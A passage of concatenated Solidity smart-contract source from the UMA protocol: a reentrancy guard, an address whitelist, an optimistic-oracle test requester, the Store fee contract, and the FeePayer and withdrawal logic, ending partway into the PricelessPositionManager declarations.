* `private` function that does the actual work.
*/
modifier nonReentrant() {
_preEntranceCheck();
_preEntranceSet();
_;
_postEntranceReset();
}
/**
* @dev Designed to prevent a view-only method from being re-entered during a call to a `nonReentrant()` state-changing method.
*/
modifier nonReentrantView() {
_preEntranceCheck();
_;
}
// Internal methods are used to avoid copying the require statement's bytecode to every `nonReentrant()` method.
// On entry into a function, `_preEntranceCheck()` should always be called to check if the function is being re-entered.
// Then, if the function modifies state, it should call `_postEntranceSet()`, perform its logic, and then call `_postEntranceReset()`.
// View-only methods can simply call `_preEntranceCheck()` to make sure that it is not being re-entered.
function _preEntranceCheck() internal view {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
}
function _preEntranceSet() internal {
// Any calls to nonReentrant after this point will fail
_notEntered = false;
}
function _postEntranceReset() internal {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./Lockable.sol";
/**
* @title A contract to track a whitelist of addresses.
*/
contract AddressWhitelist is Ownable, Lockable {
enum Status { None, In, Out }
mapping(address => Status) public whitelist;
address[] public whitelistIndices;
event AddedToWhitelist(address indexed addedAddress);
event RemovedFromWhitelist(address indexed removedAddress);
/**
* @notice Adds an address to the whitelist.
* @param newElement the new address to add.
*/
function addToWhitelist(address newElement) external nonReentrant() onlyOwner {
// Ignore if address is already included
if (whitelist[newElement] == Status.In) {
return;
}
// Only append new addresses to the array, never a duplicate
if (whitelist[newElement] == Status.None) {
whitelistIndices.push(newElement);
}
whitelist[newElement] = Status.In;
emit AddedToWhitelist(newElement);
}
/**
* @notice Removes an address from the whitelist.
* @param elementToRemove the existing address to remove.
*/
function removeFromWhitelist(address elementToRemove) external nonReentrant() onlyOwner {
if (whitelist[elementToRemove] != Status.Out) {
whitelist[elementToRemove] = Status.Out;
emit RemovedFromWhitelist(elementToRemove);
}
}
/**
* @notice Checks whether an address is on the whitelist.
* @param elementToCheck the address to check.
* @return True if `elementToCheck` is on the whitelist, or False.
*/
function isOnWhitelist(address elementToCheck) external view nonReentrantView() returns (bool) {
return whitelist[elementToCheck] == Status.In;
}
/**
* @notice Gets all addresses that are currently included in the whitelist.
* @dev Note: This method skips over, but still iterates through addresses. It is possible for this call to run out
* of gas if a large number of addresses have been removed. To reduce the likelihood of this unlikely scenario, we
* can modify the implementation so that when addresses are removed, the last addresses in the array is moved to
* the empty index.
* @return activeWhitelist the list of addresses on the whitelist.
*/
function getWhitelist() external view nonReentrantView() returns (address[] memory activeWhitelist) {
// Determine size of whitelist first
uint256 activeCount = 0;
for (uint256 i = 0; i < whitelistIndices.length; i++) {
if (whitelist[whitelistIndices[i]] == Status.In) {
activeCount++;
}
}
// Populate whitelist
activeWhitelist = new address[](activeCount);
activeCount = 0;
for (uint256 i = 0; i < whitelistIndices.length; i++) {
address addr = whitelistIndices[i];
if (whitelist[addr] == Status.In) {
activeWhitelist[activeCount] = addr;
activeCount++;
}
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../OptimisticOracle.sol";
// This is just a test contract to make requests to the optimistic oracle.
contract OptimisticRequesterTest is OptimisticRequester {
OptimisticOracle optimisticOracle;
bool public shouldRevert = false;
// State variables to track incoming calls.
bytes32 public identifier;
uint256 public timestamp;
bytes public ancillaryData;
uint256 public refund;
int256 public price;
// Implement collateralCurrency so that this contract simulates a financial contract whose collateral
// token can be fetched by off-chain clients.
IERC20 public collateralCurrency;
// Manually set an expiration timestamp to simulate expiry price requests
uint256 public expirationTimestamp;
constructor(OptimisticOracle _optimisticOracle) public {
optimisticOracle = _optimisticOracle;
}
function requestPrice(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
IERC20 currency,
uint256 reward
) external {
// Set collateral currency to last requested currency:
collateralCurrency = currency;
currency.approve(address(optimisticOracle), reward);
optimisticOracle.requestPrice(_identifier, _timestamp, _ancillaryData, currency, reward);
}
function settleAndGetPrice(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData
) external returns (int256) {
return optimisticOracle.settleAndGetPrice(_identifier, _timestamp, _ancillaryData);
}
function setBond(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
uint256 bond
) external {
optimisticOracle.setBond(_identifier, _timestamp, _ancillaryData, bond);
}
function setRefundOnDispute(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData
) external {
optimisticOracle.setRefundOnDispute(_identifier, _timestamp, _ancillaryData);
}
function setCustomLiveness(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
uint256 customLiveness
) external {
optimisticOracle.setCustomLiveness(_identifier, _timestamp, _ancillaryData, customLiveness);
}
function setRevert(bool _shouldRevert) external {
shouldRevert = _shouldRevert;
}
function setExpirationTimestamp(uint256 _expirationTimestamp) external {
expirationTimestamp = _expirationTimestamp;
}
function clearState() external {
delete identifier;
delete timestamp;
delete refund;
delete price;
}
function priceProposed(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData
) external override {
require(!shouldRevert);
identifier = _identifier;
timestamp = _timestamp;
ancillaryData = _ancillaryData;
}
function priceDisputed(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
uint256 _refund
) external override {
require(!shouldRevert);
identifier = _identifier;
timestamp = _timestamp;
ancillaryData = _ancillaryData;
refund = _refund;
}
function priceSettled(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
int256 _price
) external override {
require(!shouldRevert);
identifier = _identifier;
timestamp = _timestamp;
ancillaryData = _ancillaryData;
price = _price;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/MultiRole.sol";
import "../../common/implementation/Withdrawable.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/StoreInterface.sol";
/**
* @title An implementation of Store that can accept Oracle fees in ETH or any arbitrary ERC20 token.
*/
contract Store is StoreInterface, Withdrawable, Testable {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using FixedPoint for uint256;
using SafeERC20 for IERC20;
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
enum Roles { Owner, Withdrawer }
FixedPoint.Unsigned public fixedOracleFeePerSecondPerPfc; // Percentage of 1 E.g., .1 is 10% Oracle fee.
FixedPoint.Unsigned public weeklyDelayFeePerSecondPerPfc; // Percentage of 1 E.g., .1 is 10% weekly delay fee.
mapping(address => FixedPoint.Unsigned) public finalFees;
uint256 public constant SECONDS_PER_WEEK = 604800;
/****************************************
* EVENTS *
****************************************/
event NewFixedOracleFeePerSecondPerPfc(FixedPoint.Unsigned newOracleFee);
event NewWeeklyDelayFeePerSecondPerPfc(FixedPoint.Unsigned newWeeklyDelayFeePerSecondPerPfc);
event NewFinalFee(FixedPoint.Unsigned newFinalFee);
/**
* @notice Construct the Store contract.
*/
constructor(
FixedPoint.Unsigned memory _fixedOracleFeePerSecondPerPfc,
FixedPoint.Unsigned memory _weeklyDelayFeePerSecondPerPfc,
address _timerAddress
) public Testable(_timerAddress) {
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender);
_createWithdrawRole(uint256(Roles.Withdrawer), uint256(Roles.Owner), msg.sender);
setFixedOracleFeePerSecondPerPfc(_fixedOracleFeePerSecondPerPfc);
setWeeklyDelayFeePerSecondPerPfc(_weeklyDelayFeePerSecondPerPfc);
}
/****************************************
* ORACLE FEE CALCULATION AND PAYMENT *
****************************************/
/**
* @notice Pays Oracle fees in ETH to the store.
* @dev To be used by contracts whose margin currency is ETH.
*/
function payOracleFees() external payable override {
require(msg.value > 0, "Value sent can't be zero");
}
/**
* @notice Pays oracle fees in the margin currency, erc20Address, to the store.
* @dev To be used if the margin currency is an ERC20 token rather than ETH.
* @param erc20Address address of the ERC20 token used to pay the fee.
* @param amount number of tokens to transfer. An approval for at least this amount must exist.
*/
function payOracleFeesErc20(address erc20Address, FixedPoint.Unsigned calldata amount) external override {
IERC20 erc20 = IERC20(erc20Address);
require(amount.isGreaterThan(0), "Amount sent can't be zero");
erc20.safeTransferFrom(msg.sender, address(this), amount.rawValue);
}
/**
* @notice Computes the regular oracle fees that a contract should pay for a period.
* @dev The late penalty is similar to the regular fee in that is is charged per second over the period between
* startTime and endTime.
*
* The late penalty percentage increases over time as follows:
*
* - 0-1 week since startTime: no late penalty
*
* - 1-2 weeks since startTime: 1x late penalty percentage is applied
*
* - 2-3 weeks since startTime: 2x late penalty percentage is applied
*
* - ...
*
* @param startTime defines the beginning time from which the fee is paid.
* @param endTime end time until which the fee is paid.
* @param pfc "profit from corruption", or the maximum amount of margin currency that a
* token sponsor could extract from the contract through corrupting the price feed in their favor.
* @return regularFee amount owed for the duration from start to end time for the given pfc.
* @return latePenalty penalty percentage, if any, for paying the fee after the deadline.
*/
function computeRegularFee(
uint256 startTime,
uint256 endTime,
FixedPoint.Unsigned calldata pfc
) external view override returns (FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty) {
uint256 timeDiff = endTime.sub(startTime);
// Multiply by the unscaled `timeDiff` first, to get more accurate results.
regularFee = pfc.mul(timeDiff).mul(fixedOracleFeePerSecondPerPfc);
// Compute how long ago the start time was to compute the delay penalty.
uint256 paymentDelay = getCurrentTime().sub(startTime);
// Compute the additional percentage (per second) that will be charged because of the penalty.
// Note: if less than a week has gone by since the startTime, paymentDelay / SECONDS_PER_WEEK will truncate to
// 0, causing no penalty to be charged.
FixedPoint.Unsigned memory penaltyPercentagePerSecond =
weeklyDelayFeePerSecondPerPfc.mul(paymentDelay.div(SECONDS_PER_WEEK));
// Apply the penaltyPercentagePerSecond to the payment period.
latePenalty = pfc.mul(timeDiff).mul(penaltyPercentagePerSecond);
}
/**
* @notice Computes the final oracle fees that a contract should pay at settlement.
* @param currency token used to pay the final fee.
* @return finalFee amount due denominated in units of `currency`.
*/
function computeFinalFee(address currency) external view override returns (FixedPoint.Unsigned memory) {
return finalFees[currency];
}
/****************************************
* ADMIN STATE MODIFYING FUNCTIONS *
****************************************/
/**
* @notice Sets a new oracle fee per second.
* @param newFixedOracleFeePerSecondPerPfc new fee per second charged to use the oracle.
*/
function setFixedOracleFeePerSecondPerPfc(FixedPoint.Unsigned memory newFixedOracleFeePerSecondPerPfc)
public
onlyRoleHolder(uint256(Roles.Owner))
{
// Oracle fees at or over 100% don't make sense.
require(newFixedOracleFeePerSecondPerPfc.isLessThan(1), "Fee must be < 100% per second.");
fixedOracleFeePerSecondPerPfc = newFixedOracleFeePerSecondPerPfc;
emit NewFixedOracleFeePerSecondPerPfc(newFixedOracleFeePerSecondPerPfc);
}
/**
* @notice Sets a new weekly delay fee.
* @param newWeeklyDelayFeePerSecondPerPfc fee escalation per week of late fee payment.
*/
function setWeeklyDelayFeePerSecondPerPfc(FixedPoint.Unsigned memory newWeeklyDelayFeePerSecondPerPfc)
public
onlyRoleHolder(uint256(Roles.Owner))
{
require(newWeeklyDelayFeePerSecondPerPfc.isLessThan(1), "weekly delay fee must be < 100%");
weeklyDelayFeePerSecondPerPfc = newWeeklyDelayFeePerSecondPerPfc;
emit NewWeeklyDelayFeePerSecondPerPfc(newWeeklyDelayFeePerSecondPerPfc);
}
/**
* @notice Sets a new final fee for a particular currency.
* @param currency defines the token currency used to pay the final fee.
* @param newFinalFee final fee amount.
*/
function setFinalFee(address currency, FixedPoint.Unsigned memory newFinalFee)
public
onlyRoleHolder(uint256(Roles.Owner))
{
finalFees[currency] = newFinalFee;
emit NewFinalFee(newFinalFee);
}
}
/**
* Withdrawable contract.
*/
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./MultiRole.sol";
/**
* @title Base contract that allows a specific role to withdraw any ETH and/or ERC20 tokens that the contract holds.
*/
abstract contract Withdrawable is MultiRole {
using SafeERC20 for IERC20;
uint256 private roleId;
/**
* @notice Withdraws ETH from the contract.
*/
function withdraw(uint256 amount) external onlyRoleHolder(roleId) {
Address.sendValue(msg.sender, amount);
}
/**
* @notice Withdraws ERC20 tokens from the contract.
* @param erc20Address ERC20 token to withdraw.
* @param amount amount of tokens to withdraw.
*/
function withdrawErc20(address erc20Address, uint256 amount) external onlyRoleHolder(roleId) {
IERC20 erc20 = IERC20(erc20Address);
erc20.safeTransfer(msg.sender, amount);
}
/**
* @notice Internal method that allows derived contracts to create a role for withdrawal.
* @dev Either this method or `_setWithdrawRole` must be called by the derived class for this contract to function
* properly.
* @param newRoleId ID corresponding to role whose members can withdraw.
* @param managingRoleId ID corresponding to managing role who can modify the withdrawable role's membership.
* @param withdrawerAddress new manager of withdrawable role.
*/
function _createWithdrawRole(
uint256 newRoleId,
uint256 managingRoleId,
address withdrawerAddress
) internal {
roleId = newRoleId;
_createExclusiveRole(newRoleId, managingRoleId, withdrawerAddress);
}
/**
* @notice Internal method that allows derived contracts to choose the role for withdrawal.
* @dev The role `setRoleId` must exist. Either this method or `_createWithdrawRole` must be
* called by the derived class for this contract to function properly.
* @param setRoleId ID corresponding to role whose members can withdraw.
*/
function _setWithdrawRole(uint256 setRoleId) internal onlyValidRole(setRoleId) {
roleId = setRoleId;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../common/implementation/Lockable.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../../oracle/interfaces/StoreInterface.sol";
import "../../oracle/interfaces/FinderInterface.sol";
import "../../oracle/interfaces/AdministrateeInterface.sol";
import "../../oracle/implementation/Constants.sol";
/**
* @title FeePayer contract.
* @notice Provides fee payment functionality for the ExpiringMultiParty contract.
* contract is abstract as each derived contract that inherits `FeePayer` must implement `pfc()`.
*/
abstract contract FeePayer is AdministrateeInterface, Testable, Lockable {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using SafeERC20 for IERC20;
/****************************************
* FEE PAYER DATA STRUCTURES *
****************************************/
// The collateral currency used to back the positions in this contract.
IERC20 public collateralCurrency;
// Finder contract used to look up addresses for UMA system contracts.
FinderInterface public finder;
// Tracks the last block time when the fees were paid.
uint256 private lastPaymentTime;
// Tracks the cumulative fees that have been paid by the contract for use by derived contracts.
// The multiplier starts at 1, and is updated by computing cumulativeFeeMultiplier * (1 - effectiveFee).
// Put another way, the cumulativeFeeMultiplier is (1 - effectiveFee1) * (1 - effectiveFee2) ...
// For example:
// The cumulativeFeeMultiplier should start at 1.
// If a 1% fee is charged, the multiplier should update to .99.
// If another 1% fee is charged, the multiplier should be 0.99^2 (0.9801).
FixedPoint.Unsigned public cumulativeFeeMultiplier;
/****************************************
* EVENTS *
****************************************/
event RegularFeesPaid(uint256 indexed regularFee, uint256 indexed lateFee);
event FinalFeesPaid(uint256 indexed amount);
/****************************************
* MODIFIERS *
****************************************/
// modifier that calls payRegularFees().
modifier fees virtual {
// Note: the regular fee is applied on every fee-accruing transaction, where the total change is simply the
// regular fee applied linearly since the last update. This implies that the compounding rate depends on the
// frequency of update transactions that have this modifier, and it never reaches the ideal of continuous
// compounding. This approximate-compounding pattern is common in the Ethereum ecosystem because of the
// complexity of compounding data on-chain.
payRegularFees();
_;
}
/**
* @notice Constructs the FeePayer contract. Called by child contracts.
* @param _collateralAddress ERC20 token that is used as the underlying collateral for the synthetic.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(
address _collateralAddress,
address _finderAddress,
address _timerAddress
) public Testable(_timerAddress) {
collateralCurrency = IERC20(_collateralAddress);
finder = FinderInterface(_finderAddress);
lastPaymentTime = getCurrentTime();
cumulativeFeeMultiplier = FixedPoint.fromUnscaledUint(1);
}
/****************************************
* FEE PAYMENT FUNCTIONS *
****************************************/
/**
* @notice Pays UMA DVM regular fees (as a % of the collateral pool) to the Store contract.
* @dev These must be paid periodically for the life of the contract. If the contract has not paid its regular fee
* in a week or more then a late penalty is applied which is sent to the caller. If the amount of
* fees owed are greater than the pfc, then this will pay as much as possible from the available collateral.
* An event is only fired if the fees charged are greater than 0.
* @return totalPaid Amount of collateral that the contract paid (sum of the amount paid to the Store and caller).
* This returns 0 and exit early if there is no pfc, fees were already paid during the current block, or the fee rate is 0.
*/
function payRegularFees() public nonReentrant() returns (FixedPoint.Unsigned memory) {
uint256 time = getCurrentTime();
FixedPoint.Unsigned memory collateralPool = _pfc();
// Fetch the regular fees, late penalty and the max possible to pay given the current collateral within the contract.
(
FixedPoint.Unsigned memory regularFee,
FixedPoint.Unsigned memory latePenalty,
FixedPoint.Unsigned memory totalPaid
) = getOutstandingRegularFees(time);
lastPaymentTime = time;
// If there are no fees to pay then exit early.
if (totalPaid.isEqual(0)) {
return totalPaid;
}
emit RegularFeesPaid(regularFee.rawValue, latePenalty.rawValue);
_adjustCumulativeFeeMultiplier(totalPaid, collateralPool);
if (regularFee.isGreaterThan(0)) {
StoreInterface store = _getStore();
collateralCurrency.safeIncreaseAllowance(address(store), regularFee.rawValue);
store.payOracleFeesErc20(address(collateralCurrency), regularFee);
}
if (latePenalty.isGreaterThan(0)) {
collateralCurrency.safeTransfer(msg.sender, latePenalty.rawValue);
}
return totalPaid;
}
/**
* @notice Fetch any regular fees that the contract has pending but has not yet paid. If the fees to be paid are more
* than the total collateral within the contract then the totalPaid returned is full contract collateral amount.
* @dev This returns 0 and exit early if there is no pfc, fees were already paid during the current block, or the fee rate is 0.
* @return regularFee outstanding unpaid regular fee.
* @return latePenalty outstanding unpaid late fee for being late in previous fee payments.
* @return totalPaid Amount of collateral that the contract paid (sum of the amount paid to the Store and caller).
*/
function getOutstandingRegularFees(uint256 time)
public
view
returns (
FixedPoint.Unsigned memory regularFee,
FixedPoint.Unsigned memory latePenalty,
FixedPoint.Unsigned memory totalPaid
)
{
StoreInterface store = _getStore();
FixedPoint.Unsigned memory collateralPool = _pfc();
// Exit early if there is no collateral or if fees were already paid during this block.
if (collateralPool.isEqual(0) || lastPaymentTime == time) {
return (regularFee, latePenalty, totalPaid);
}
(regularFee, latePenalty) = store.computeRegularFee(lastPaymentTime, time, collateralPool);
totalPaid = regularFee.add(latePenalty);
if (totalPaid.isEqual(0)) {
return (regularFee, latePenalty, totalPaid);
}
// If the effective fees paid as a % of the pfc is > 100%, then we need to reduce it and make the contract pay
// as much of the fee that it can (up to 100% of its pfc). We'll reduce the late penalty first and then the
// regular fee, which has the effect of paying the store first, followed by the caller if there is any fee remaining.
if (totalPaid.isGreaterThan(collateralPool)) {
FixedPoint.Unsigned memory deficit = totalPaid.sub(collateralPool);
FixedPoint.Unsigned memory latePenaltyReduction = FixedPoint.min(latePenalty, deficit);
latePenalty = latePenalty.sub(latePenaltyReduction);
deficit = deficit.sub(latePenaltyReduction);
regularFee = regularFee.sub(FixedPoint.min(regularFee, deficit));
totalPaid = collateralPool;
}
}
/**
* @notice Gets the current profit from corruption for this contract in terms of the collateral currency.
* @dev This is equivalent to the collateral pool available from which to pay fees. Therefore, derived contracts are
* expected to implement this so that pay-fee methods can correctly compute the owed fees as a % of PfC.
* @return pfc value for equal to the current profit from corruption denominated in collateral currency.
*/
function pfc() external view override nonReentrantView() returns (FixedPoint.Unsigned memory) {
return _pfc();
}
/**
* @notice Removes excess collateral balance not counted in the PfC by distributing it out pro-rata to all sponsors.
* @dev Multiplying the `cumulativeFeeMultiplier` by the ratio of non-PfC-collateral :: PfC-collateral effectively
* pays all sponsors a pro-rata portion of the excess collateral.
* @dev This will revert if PfC is 0 and this contract's collateral balance > 0.
*/
function gulp() external nonReentrant() {
_gulp();
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Pays UMA Oracle final fees of `amount` in `collateralCurrency` to the Store contract. Final fee is a flat fee
// charged for each price request. If payer is the contract, adjusts internal bookkeeping variables. If payer is not
// the contract, pulls in `amount` of collateral currency.
function _payFinalFees(address payer, FixedPoint.Unsigned memory amount) internal {
if (amount.isEqual(0)) {
return;
}
if (payer != address(this)) {
// If the payer is not the contract pull the collateral from the payer.
collateralCurrency.safeTransferFrom(payer, address(this), amount.rawValue);
} else {
// If the payer is the contract, adjust the cumulativeFeeMultiplier to compensate.
FixedPoint.Unsigned memory collateralPool = _pfc();
// The final fee must be < available collateral or the fee will be larger than 100%.
// Note: revert reason removed to save bytecode.
require(collateralPool.isGreaterThan(amount));
_adjustCumulativeFeeMultiplier(amount, collateralPool);
}
emit FinalFeesPaid(amount.rawValue);
StoreInterface store = _getStore();
collateralCurrency.safeIncreaseAllowance(address(store), amount.rawValue);
store.payOracleFeesErc20(address(collateralCurrency), amount);
}
function _gulp() internal {
FixedPoint.Unsigned memory currentPfc = _pfc();
FixedPoint.Unsigned memory currentBalance = FixedPoint.Unsigned(collateralCurrency.balanceOf(address(this)));
if (currentPfc.isLessThan(currentBalance)) {
cumulativeFeeMultiplier = cumulativeFeeMultiplier.mul(currentBalance.div(currentPfc));
}
}
function _pfc() internal view virtual returns (FixedPoint.Unsigned memory);
function _getStore() internal view returns (StoreInterface) {
return StoreInterface(finder.getImplementationAddress(OracleInterfaces.Store));
}
function _computeFinalFees() internal view returns (FixedPoint.Unsigned memory finalFees) {
StoreInterface store = _getStore();
return store.computeFinalFee(address(collateralCurrency));
}
// Returns the user's collateral minus any fees that have been subtracted since it was originally
// deposited into the contract. Note: if the contract has paid fees since it was deployed, the raw
// value should be larger than the returned value.
function _getFeeAdjustedCollateral(FixedPoint.Unsigned memory rawCollateral)
internal
view
returns (FixedPoint.Unsigned memory collateral)
{
return rawCollateral.mul(cumulativeFeeMultiplier);
}
// Returns the user's collateral minus any pending fees that have yet to be subtracted.
function _getPendingRegularFeeAdjustedCollateral(FixedPoint.Unsigned memory rawCollateral)
internal
view
returns (FixedPoint.Unsigned memory)
{
(, , FixedPoint.Unsigned memory currentTotalOutstandingRegularFees) =
getOutstandingRegularFees(getCurrentTime());
if (currentTotalOutstandingRegularFees.isEqual(FixedPoint.fromUnscaledUint(0))) return rawCollateral;
// Calculate the total outstanding regular fee as a fraction of the total contract PFC.
FixedPoint.Unsigned memory effectiveOutstandingFee = currentTotalOutstandingRegularFees.divCeil(_pfc());
// Scale as rawCollateral* (1 - effectiveOutstandingFee) to apply the pro-rata amount to the regular fee.
return rawCollateral.mul(FixedPoint.fromUnscaledUint(1).sub(effectiveOutstandingFee));
}
// Converts a user-readable collateral value into a raw value that accounts for already-assessed fees. If any fees
// have been taken from this contract in the past, then the raw value will be larger than the user-readable value.
function _convertToRawCollateral(FixedPoint.Unsigned memory collateral)
internal
view
returns (FixedPoint.Unsigned memory rawCollateral)
{
return collateral.div(cumulativeFeeMultiplier);
}
// Decrease rawCollateral by a fee-adjusted collateralToRemove amount. Fee adjustment scales up collateralToRemove
// by dividing it by cumulativeFeeMultiplier. There is potential for this quotient to be floored, therefore
// rawCollateral is decreased by less than expected. Because this method is usually called in conjunction with an
// actual removal of collateral from this contract, return the fee-adjusted amount that the rawCollateral is
// decreased by so that the caller can minimize error between collateral removed and rawCollateral debited.
function _removeCollateral(FixedPoint.Unsigned storage rawCollateral, FixedPoint.Unsigned memory collateralToRemove)
internal
returns (FixedPoint.Unsigned memory removedCollateral)
{
FixedPoint.Unsigned memory initialBalance = _getFeeAdjustedCollateral(rawCollateral);
FixedPoint.Unsigned memory adjustedCollateral = _convertToRawCollateral(collateralToRemove);
rawCollateral.rawValue = rawCollateral.sub(adjustedCollateral).rawValue;
removedCollateral = initialBalance.sub(_getFeeAdjustedCollateral(rawCollateral));
}
// Increase rawCollateral by a fee-adjusted collateralToAdd amount. Fee adjustment scales up collateralToAdd
// by dividing it by cumulativeFeeMultiplier. There is potential for this quotient to be floored, therefore
// rawCollateral is increased by less than expected. Because this method is usually called in conjunction with an
// actual addition of collateral to this contract, return the fee-adjusted amount that the rawCollateral is
// increased by so that the caller can minimize error between collateral added and rawCollateral credited.
// NOTE: This return value exists only for the sake of symmetry with _removeCollateral. We don't actually use it
// because we are OK if more collateral is stored in the contract than is represented by rawTotalPositionCollateral.
function _addCollateral(FixedPoint.Unsigned storage rawCollateral, FixedPoint.Unsigned memory collateralToAdd)
internal
returns (FixedPoint.Unsigned memory addedCollateral)
{
FixedPoint.Unsigned memory initialBalance = _getFeeAdjustedCollateral(rawCollateral);
FixedPoint.Unsigned memory adjustedCollateral = _convertToRawCollateral(collateralToAdd);
rawCollateral.rawValue = rawCollateral.add(adjustedCollateral).rawValue;
addedCollateral = _getFeeAdjustedCollateral(rawCollateral).sub(initialBalance);
}
// Scale the cumulativeFeeMultiplier by the ratio of fees paid to the current available collateral.
function _adjustCumulativeFeeMultiplier(FixedPoint.Unsigned memory amount, FixedPoint.Unsigned memory currentPfc)
internal
{
FixedPoint.Unsigned memory effectiveFee = amount.divCeil(currentPfc);
cumulativeFeeMultiplier = cumulativeFeeMultiplier.mul(FixedPoint.fromUnscaledUint(1).sub(effectiveFee));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
/**
* @title Interface that all financial contracts expose to the admin.
*/
interface AdministrateeInterface {
/**
* @notice Initiates the shutdown process, in case of an emergency.
*/
function emergencyShutdown() external;
/**
* @notice A core contract method called independently or as a part of other financial contract transactions.
* @dev It pays fees and moves money between margin accounts to make sure they reflect the NAV of the contract.
*/
function remargin() external;
/**
* @notice Gets the current profit from corruption for this contract in terms of the collateral currency.
* @dev This is equivalent to the collateral pool available from which to pay fees. Therefore, derived contracts are
* expected to implement this so that pay-fee methods can correctly compute the owed fees as a % of PfC.
* @return pfc value for equal to the current profit from corruption denominated in collateral currency.
*/
function pfc() external view returns (FixedPoint.Unsigned memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/interfaces/ExpandedIERC20.sol";
import "../../common/interfaces/IERC20Standard.sol";
import "../../oracle/interfaces/OracleInterface.sol";
import "../../oracle/interfaces/OptimisticOracleInterface.sol";
import "../../oracle/interfaces/IdentifierWhitelistInterface.sol";
import "../../oracle/implementation/Constants.sol";
import "../common/FeePayer.sol";
import "../common/financial-product-libraries/FinancialProductLibrary.sol";
/**
* @title Financial contract with priceless position management.
* @notice Handles positions for multiple sponsors in an optimistic (i.e., priceless) way without relying
* on a price feed. On construction, deploys a new ERC20, managed by this contract, that is the synthetic token.
*/
contract PricelessPositionManager is FeePayer {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using SafeERC20 for IERC20;
using SafeERC20 for ExpandedIERC20;
using Address for address;
/****************************************
* PRICELESS POSITION DATA STRUCTURES *
****************************************/
// Stores the state of the PricelessPositionManager. Set on expiration, emergency shutdown, or settlement.
enum ContractState { Open, ExpiredPriceRequested, ExpiredPriceReceived }
ContractState public contractState;
// Represents a single sponsor's position. All collateral is held by this contract.
// This struct acts as bookkeeping for how much of that collateral is allocated to each sponsor.
struct PositionData {
FixedPoint.Unsigned tokensOutstanding;
// Tracks pending withdrawal requests. A withdrawal request is pending if `withdrawalRequestPassTimestamp != 0`.
uint256 withdrawalRequestPassTimestamp;
FixedPoint.Unsigned withdrawalRequestAmount;
// Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral().
// To add or remove collateral, use _addCollateral() and _removeCollateral().
FixedPoint.Unsigned rawCollateral;
// Tracks pending transfer position requests. A transfer position request is pending if `transferPositionRequestPassTimestamp != 0`.
uint256 transferPositionRequestPassTimestamp;
}
// Maps sponsor addresses to their positions. Each sponsor can have only one position.
mapping(address => PositionData) public positions;
// Keep track of the total collateral and tokens across all positions to enable calculating the
// global collateralization ratio without iterating over all positions.
FixedPoint.Unsigned public totalTokensOutstanding;
// Similar to the rawCollateral in PositionData, this value should not be used directly.
// _getFeeAdjustedCollateral(), _addCollateral() and _removeCollateral() must be used to access and adjust.
FixedPoint.Unsigned public rawTotalPositionCollateral;
// Synthetic token created by this contract.
ExpandedIERC20 public tokenCurrency;
// Unique identifier for DVM price feed ticker.
bytes32 public priceIdentifier;
// Time that this contract expires. Should not change post-construction unless an emergency shutdown occurs.
uint256 public expirationTimestamp;
// Time that has to elapse for a withdrawal request to be considered passed, if no liquidations occur.
// !!Note: The lower the withdrawal liveness value, the more risk incurred by the contract.
// Extremely low liveness values increase the chance that opportunistic invalid withdrawal requests
// expire without liquidation, thereby increasing the insolvency risk for the contract as a whole. An insolvent
// contract is extremely risky for any sponsor or synthetic token holder for the contract.
uint256 public withdrawalLiveness;
// Minimum number of tokens in a sponsor's position.
FixedPoint.Unsigned public minSponsorTokens;
// The expiry price pulled from the DVM.
FixedPoint.Unsigned public expiryPrice;
